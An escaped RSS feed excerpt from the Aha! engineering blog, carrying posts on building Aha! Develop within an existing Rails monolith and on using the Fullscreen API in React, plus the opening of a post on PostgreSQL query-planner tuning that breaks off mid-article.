&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;                  key&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{point.id}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;                  style&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                    padding: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;3px 0&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                  }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                &gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;strong&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;{point.serieId}&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;strong&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;: {point.data.yFormatted}%&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;                &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;              ))}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;          );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We’re adding a lot of style hacks to get this looking reasonable, which is fine for our quick ad-hoc report.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/3e1537138bad3e2659fa81a4dc01a263/estimation-accuracy-chart@2x.jpg&quot; alt=&quot;Estimation accuracy chart&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now we have a simple line chart showing that this team has a highly variable and low estimation accuracy. With this information visible, the team can make and track improvements to how they work.&lt;/p&gt;
&lt;p&gt;There are many ways to slice and dice the event data we’ve made available in Aha! Develop. The record event API can be accessed externally or by building extensions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sign up for a free trial of Aha! Develop&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aha! Develop is a fully extendable agile development tool. Prioritize the backlog, estimate work, and plan sprints. If you are interested in an integrated &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;product development&lt;/a&gt; approach, use &lt;a href=&quot;https://www.aha.io/product/overviewhttps://www.aha.io/product/integrations/develop&quot;&gt;Aha! Roadmaps and Aha! Develop&lt;/a&gt; together. Sign up for a &lt;a href=&quot;https://www.aha.io/trial&quot;&gt;free 30-day trial&lt;/a&gt; or &lt;a href=&quot;https://www.aha.io/live-demo&quot;&gt;join a live demo&lt;/a&gt; to see why more than 5,000 companies trust our software to build lovable products and be happy doing it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Embrace the monolith: Adding a new product to Aha!]]></title><description><![CDATA[When our engineering team first began conceptualizing Aha! Develop, we were faced with a monumental question. How should we implement the…]]></description><link>https://www.aha.io/engineering/articles/embrace-the-monolith-adding-a-new-product-to-aha</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/embrace-the-monolith-adding-a-new-product-to-aha</guid><dc:creator><![CDATA[Percy Hanna]]></dc:creator><pubDate>Thu, 28 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When our engineering team first began conceptualizing Aha! Develop, we were faced with a monumental question. How should we implement the architecture of adding a brand new product? We could start fresh with a brand new codebase, utilizing the latest technologies and frameworks. Or we could build on top of our existing monolithic codebase that powers Aha! Roadmaps and Aha! Ideas. We examined the pros and cons of greenfield, microservices, or continuing to use our existing monolith — all in pursuit of the most lovable solution for our users.&lt;/p&gt;
&lt;h2&gt;Option 1: Greenfield&lt;/h2&gt;
&lt;p&gt;Starting with a brand new codebase is really appealing. We could keep it simple without any extra baggage like complex dependencies, legacy code, technical debt, or old build pipelines. Using the latest versions of all of our favorite frameworks like Rails 7 and React 18 would mean not having to worry about testing for regressions. And we could start fresh with a new design system or CSS framework.&lt;/p&gt;
&lt;p&gt;Developing something new out of nothing is one of the things that excites me the most about product development work. But eventually you will start building the same features you’ve built before. Maybe some are already in a Ruby gem or JavaScript npm package, so you could easily incorporate them into a new product. But in most situations, it’s specific to your business and not neatly packaged inside a gem. You could extract some from other codebases, but you&apos;ll end up reinventing the wheel or duplicating a lot of old code.&lt;/p&gt;
&lt;p&gt;Even if the new greenfield product does not have a lot of overlap with previous products, you might find yourself rewriting common systems like authentication, permissions, notifications, or other things you’ve implemented before. Most applications share a lot of this core functionality regardless of the product itself.&lt;/p&gt;
&lt;h2&gt;Option 2: Microservices&lt;/h2&gt;
&lt;p&gt;Microservices have been popular in the past several years. Building Aha! Develop on top of microservices would make our application more modular and scalable. We could transition core functionality of authentication, permissions, notifications, and sharing/publishing to their own microservices. These would lead to smaller pieces of isolated code that are only responsible for a concise set of tasks. They can be scaled independently in order to maintain service level objectives (SLOs) or other key metrics. Then Aha! Develop could reuse these core services with a UI built separately from the other products in our suite. All of our core business logic would be nicely encapsulated, tested, and deployed separately. Any number of interfaces or APIs could be built on top of that foundation.&lt;/p&gt;
&lt;p&gt;That would all come with some fairly significant tradeoffs. As the dependency hierarchy between each microservice or application grows, changes require complex coordination between various teams to prevent regressions. When new features are needed, meetings and thorough documentation ensure the necessary APIs behave as expected to support the desired functionality. Teams must coordinate back and forth over weeks or months to manage the testing, development, and deployment of the new features. As the product requirements evolve, additional meetings and work are needed to support the new behaviors.&lt;/p&gt;
&lt;p&gt;The benefits of having simpler code in microservices get eroded by increased process and operational complexities. Sometimes those tradeoffs are worth the effort, though.&lt;/p&gt;
&lt;h2&gt;Option 3: Monolith&lt;/h2&gt;
&lt;p&gt;Our third option was to continue building on top of our existing monolithic application. We had already added Aha! Ideas to our suite of products in late 2020. This gave us the confidence that we could build another new product using a similar approach, even though it was targeting an entirely new demographic — developers. This approach also allows for better integration and consistency for customers using multiple Aha! products together.&lt;/p&gt;
&lt;p&gt;Monolithic applications are sometimes frowned upon due to their other costs of operation. For example, some frontend JavaScript developers might prefer more isolation from our Rails backend. If a developer is using a platform or framework they&apos;re less familiar with, this could affect productivity or developer happiness — something that cannot be ignored. We&apos;ve found that providing documentation and onboarding processes helps alleviate these issues.&lt;/p&gt;
&lt;p&gt;A monolithic application can also quickly run into performance limits, often from an underlying service. For example, due to the large volume of job queuing, we have run into CPU and memory bottlenecks with our Redis-backed Resque service. We were able to make improvements to our job queuing by implementing a Kafka-based queuing system. This improved the performance and reduced the latency of our jobs. The jobs are still executed as part of our monolithic application — meaning the operational costs are fairly isolated.&lt;/p&gt;
&lt;h2&gt;Extending the monolith&lt;/h2&gt;
&lt;p&gt;Extending the monolith ended up being the clear winner for Aha! Develop. We already had a solid foundation of core functionality. Adding new features or APIs would not be any more difficult than if we had chosen greenfield or microservices.&lt;/p&gt;
&lt;p&gt;By embracing our monolithic codebase, we were able to launch Aha! Develop on top of the foundation we had already built. For example, instead of reimplementing authentication and permissions from scratch, we focused on building compelling new features like extensions, the workflow board, and our new GraphQL API.&lt;/p&gt;
&lt;h3&gt;Security and permissions&lt;/h3&gt;
&lt;p&gt;Aha! takes &lt;a href=&quot;https://www.aha.io/legal/security&quot;&gt;security and permissions&lt;/a&gt; very seriously. Building the same level of security and compliance into a brand new codebase would take a significant amount of effort. It would also increase the surface area for attacks by having more infrastructure that needs monitoring and safeguarding, as well as additional codebases that must have their dependencies reviewed, approved, and updated to protect us against security threats.&lt;/p&gt;
&lt;h3&gt;GraphQL API&lt;/h3&gt;
&lt;p&gt;To support Aha! Develop, we built a new GraphQL API on top of our existing, rich Aha! data schema. This API supports many features in Aha! Develop, such as the workflow board, backlog management, and sprint planning views. &lt;a href=&quot;https://www.aha.io/support/develop/develop/extensions/extensions-introduction&quot;&gt;Extension authors&lt;/a&gt; can also interact with the data or &lt;a href=&quot;https://www.aha.io/support/develop/develop/extensions/extension-fields&quot;&gt;create custom extension fields&lt;/a&gt; to customize the tool to suit their needs.&lt;/p&gt;
&lt;p&gt;Since we built this into our monolith, the API takes full advantage of our existing data model and Aha! Ideas and Roadmaps take advantage of the new GraphQL API. We are also able to implement performance improvements that benefit all of our customers, such as our solution to &lt;a href=&quot;https://www.aha.io/engineering/articles/automatically-avoiding-graphql-n-1s&quot;&gt;automatically avoid N+1 queries in GraphQL&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Common features&lt;/h3&gt;
&lt;p&gt;One of the major benefits of using a monolithic codebase is the ability to reuse code. Our Rails monolith uses many common patterns for writing reusable and modular code. We&apos;ve used patterns like concerns, service objects, and decorators to help us avoid repetitive code, simplify testing, and provide consistent behavior across the application.&lt;/p&gt;
&lt;p&gt;We reused code to add components like comments, to-dos, record links, and audit history to Aha! Develop with very little effort. For example, we added a new model for Aha! Develop — the iteration (or &quot;sprint&quot;) model. We use Rails concerns so our models are composable. Here are a few of the concerns we included in the iteration model:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; HasDescription&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; HasWatchlist&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Terminology&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ActsAsTabbedRecord&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ActsAsCommentable&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With these few lines of code, our iteration models included many advanced behaviors we had already implemented elsewhere in Aha!&lt;/p&gt;
&lt;p&gt;Not only is reusing the models helpful, but we could also reuse our existing views. This gives us access to our drawer and details design that lets Aha! Develop manage custom fields and layouts with a simple and intuitive interface. We have now added a completely new model to our application that looks and behaves just like the others.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/689ca64f8684957d38a8fdffb395f646/sprint-details.png&quot; alt=&quot;sprint-details&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Collaborative text editor&lt;/h3&gt;
&lt;p&gt;Our &lt;a href=&quot;https://www.aha.io/support/suite/suite/collaboration/aha-text-editor&quot;&gt;rich collaborative text editor&lt;/a&gt; is one of the many compelling features in the Aha! product suite. Including it as part of Aha! Develop was a critical feature. We even added syntax highlighting to the editor — an improvement built for Aha! Develop — but now all Aha! customers can take advantage of this great feature.&lt;/p&gt;
&lt;h2&gt;Adding a new product to Aha!&lt;/h2&gt;
&lt;p&gt;Since all of this core functionality was already available to us, adding a new product to the Aha! suite was relatively simple. The only difficult part was focusing on Aha! Develop’s differentiating features.&lt;/p&gt;
&lt;h3&gt;Develop teams&lt;/h3&gt;
&lt;p&gt;Develop &quot;teams&quot; were constructed as a natural extension to our existing workspace hierarchy. This allows team configuration and settings to behave similarly to workspaces in Aha! Roadmaps. Each team can configure their own statuses, terminology, and workflows. This was yet another way to build on top of existing patterns used in Aha! Roadmaps without writing a lot of new code.&lt;/p&gt;
&lt;h3&gt;Billing and permissions&lt;/h3&gt;
&lt;p&gt;Adding a new product to our billing system was not without its challenges. The system was originally built to support only a single product with a few different pricing tiers. Our new billing system would need to support several different products, with a number of pricing tiers each. We introduced additional subscription plans and can now support accounts that use multiple products. Customers can have quite a few different billing configurations but there are some we need to prevent.&lt;/p&gt;
&lt;p&gt;To implement this, we introduced a new &quot;flavor&quot; model that is used to determine the billing plan, pricing tier, and number of seats for the various products in our suite. Previously this information was stored at the account level. This flavor model also dictates available functionality from within the application. We can now use a single model to manage the billing and available functionality for accounts.&lt;/p&gt;
&lt;h2&gt;Launching Aha! Develop&lt;/h2&gt;
&lt;p&gt;In the end, we didn&apos;t need to reinvent any wheels. We didn&apos;t reimplement permissions, authentication, comments, custom fields, or layouts. All of these features have evolved and matured over many years, representing countless iterations and improvements to the Aha! product suite. It would be wasteful to throw out all of that effort. Embracing the monolith allowed us to build and launch Aha! Develop with a rich and mature interface — while saving our developers months of effort and providing a &lt;a href=&quot;https://www.aha.io/roadmapping/guide/product-strategy/complete-product-experience&quot;&gt;Complete Product Experience&lt;/a&gt; for our users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sign up for a free trial of Aha! Develop&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aha! Develop is a fully extendable agile development tool. Prioritize the backlog, estimate work, and plan sprints. If you are interested in an integrated &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;product development&lt;/a&gt; approach, use &lt;a href=&quot;https://www.aha.io/product/overviewhttps://www.aha.io/product/integrations/develop&quot;&gt;Aha! Roadmaps and Aha! Develop&lt;/a&gt; together. Sign up for a &lt;a href=&quot;https://www.aha.io/trial&quot;&gt;free 30-day trial&lt;/a&gt; or &lt;a href=&quot;https://www.aha.io/live-demo&quot;&gt;join a live demo&lt;/a&gt; to see why more than 5,000 companies trust our software to build lovable products and be happy doing it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Using the Fullscreen API with React]]></title><description><![CDATA[Making something fullscreen in browsers is surprisingly easy. All you have to do is call requestFullscreen() on any DOM node. For example…]]></description><link>https://www.aha.io/engineering/articles/using-the-fullscreen-api-with-react</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/using-the-fullscreen-api-with-react</guid><dc:creator><![CDATA[Michel Billard]]></dc:creator><pubDate>Wed, 27 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Making something fullscreen in browsers is surprisingly easy. All you have to do is call &lt;code&gt;requestFullscreen()&lt;/code&gt; on any DOM node. For example:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;document.body.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;requestFullscreen&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the element that you choose to put in fullscreen matters. Only it and its children will be visible so if you want to open popups, tooltips, modals, etc. while in fullscreen, make sure they’re descendants of the fullscreen node.&lt;/p&gt;
&lt;p&gt;Once you want to exit fullscreen, it’s just as easy:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;exitFullscreen&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course, users can also exit fullscreen simply by pressing their escape key. If you need to know when that happens, you can listen to the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Document/fullscreenchange_event&quot;&gt;fullscreenchange&lt;/a&gt; event. Combined with &lt;code&gt;document.fullscreenElement&lt;/code&gt;, you have all the pieces to know when something is going fullscreen or exiting it.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;addEventListener&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;fullscreenchange&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;event&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (document.fullscreenElement) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // We’re going fullscreen&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // We’re exiting fullscreen&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, this event is triggered when going into or out of fullscreen mode.&lt;/p&gt;
&lt;h2&gt;Styling when in fullscreen&lt;/h2&gt;
&lt;p&gt;You’ll probably want to style things a little differently when going fullscreen. Fortunately, browsers already provide a handy &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/:fullscreen&quot;&gt;:fullscreen pseudo-class&lt;/a&gt;, letting you adjust your styles without the need to manage conditional class names on your elements:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Fix the toolbar to the top when in fullscreen&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:fullscreen .toolbar {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  position&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: fixed;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  top&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;How to use this in React&lt;/h2&gt;
&lt;p&gt;If you use React, you can call &lt;code&gt;requestFullscreen&lt;/code&gt; and &lt;code&gt;exitFullscreen&lt;/code&gt; in reaction to user events as you normally would. You might also find this &lt;code&gt;useEffect&lt;/code&gt; hook quite useful:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;isFullscreen&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;setIsFullscreen&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; React.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;useState&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Watch for fullscreenchange&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;React.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;useEffect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; onFullscreenChange&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    setIsFullscreen&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Boolean&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(document.fullscreenElement));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;addEventListener&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;fullscreenchange&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, onFullscreenChange);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; document.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;removeEventListener&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;fullscreenchange&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, onFullscreenChange);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}, []);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;fullscreen and iframes&lt;/h2&gt;
&lt;p&gt;If you want to let the content of an iframe be put in fullscreen, then you must first give it permission to do so. You can check if fullscreen is enabled with &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Document/fullscreenEnabled&quot;&gt;document.fullscreenEnabled&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;allow=”fullscreen” vs allowfullscreen&lt;/h3&gt;
&lt;p&gt;You might’ve seen both. There’s no harm in using both if you want. In practice, &lt;code&gt;allow=”fullscreen”&lt;/code&gt; can be more restrictive by specifying an allowlist while &lt;code&gt;allowfullscreen&lt;/code&gt; allows all origins. If both are present, &lt;code&gt;allow=”fullscreen”&lt;/code&gt; will take precedence.&lt;/p&gt;
&lt;p&gt;Check out the excellent &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Fullscreen_API&quot;&gt;Fullscreen API documentation&lt;/a&gt; or &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Fullscreen_API/Guide&quot;&gt;MDN&apos;s handy guide&lt;/a&gt; if you need to dive deeper into any of the elements presented here.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Optimizing with the PostgreSQL deterministic query planner]]></title><description><![CDATA[Feed the planner, trust the plan Of all the Aha! engineering tool expenses, the money I'm happiest to spend is on a big RDS instance running…]]></description><link>https://www.aha.io/engineering/articles/optimizing-with-the-postgresql-deterministic-query-planner</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/optimizing-with-the-postgresql-deterministic-query-planner</guid><dc:creator><![CDATA[Alex Bartlow]]></dc:creator><pubDate>Fri, 22 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Feed the planner, trust the plan&lt;/h2&gt;
&lt;p&gt;Of all the Aha! engineering tool expenses, the money I&apos;m happiest to spend is on a big RDS instance running PostgreSQL. It powers our full-text search, our reporting, and even some of our analytics. If you run it at scale, I recommend dedicating a Friday to curling up somewhere cozy with a cup of coffee and reading the fine manual. It will be time well spent.&lt;/p&gt;
&lt;p&gt;PostgreSQL is an easy tool to start using. The defaults provide a fast, secure experience out of the box. However, once you scale to a certain size, performance can start to degrade in some cases. Most people blame the query planner when this happens and start trying to find ways to &quot;trick&quot; the planner into getting a high-performance query.&lt;/p&gt;
&lt;p&gt;The problem with these tricks is that they usually end up biting you later — after you&apos;ve grown as a business for a couple of years and have far higher throughput on your database. If there&apos;s one thing to take away from this article, it is this:&lt;/p&gt;
&lt;blockquote&gt;
The PostgreSQL query planner will &lt;em&gt;always&lt;/em&gt; discover the optimum query plan, given its statistical knowledge of your system and your data.
&lt;/blockquote&gt;
&lt;p&gt;We&apos;ve discovered some tuning settings in the manual that give the planner the information it needs to do its job correctly. I&apos;m going to cover three settings that we&apos;ve adjusted over the last couple of years that have improved our query performance up to 20,000%.&lt;/p&gt;
&lt;h2&gt;Set the right cost for page access&lt;/h2&gt;
&lt;p&gt;One decision the planner sometimes makes is to full-scan your table instead of using an index. This may seem counter-intuitive, but remember, the planner will &lt;em&gt;always&lt;/em&gt; discover the optimum plan. Using an index requires reading random pages from disk; whereas reading the full table gets to read pages sequentially, which is faster.&lt;/p&gt;
&lt;p&gt;For a table of a certain size, on a slow hard drive not already cached in ram, with a query that will return a lot of rows — the full scan will be faster. The planner is right. That is, unless you&apos;re running a well-provisioned database (caching a large fraction of your data &lt;sup id=&quot;fnref-cacherate&quot;&gt;&lt;a href=&quot;#fn-cacherate&quot; class=&quot;footnote-ref&quot;&gt;cacherate&lt;/a&gt;&lt;/sup&gt;) with a fast NVME disk. (It&apos;s 2022 — these things are cheap; use one!) In that case, the index would be faster. How do we tell the planner that we have well-cached data and that the disk is really good at random reads?&lt;/p&gt;
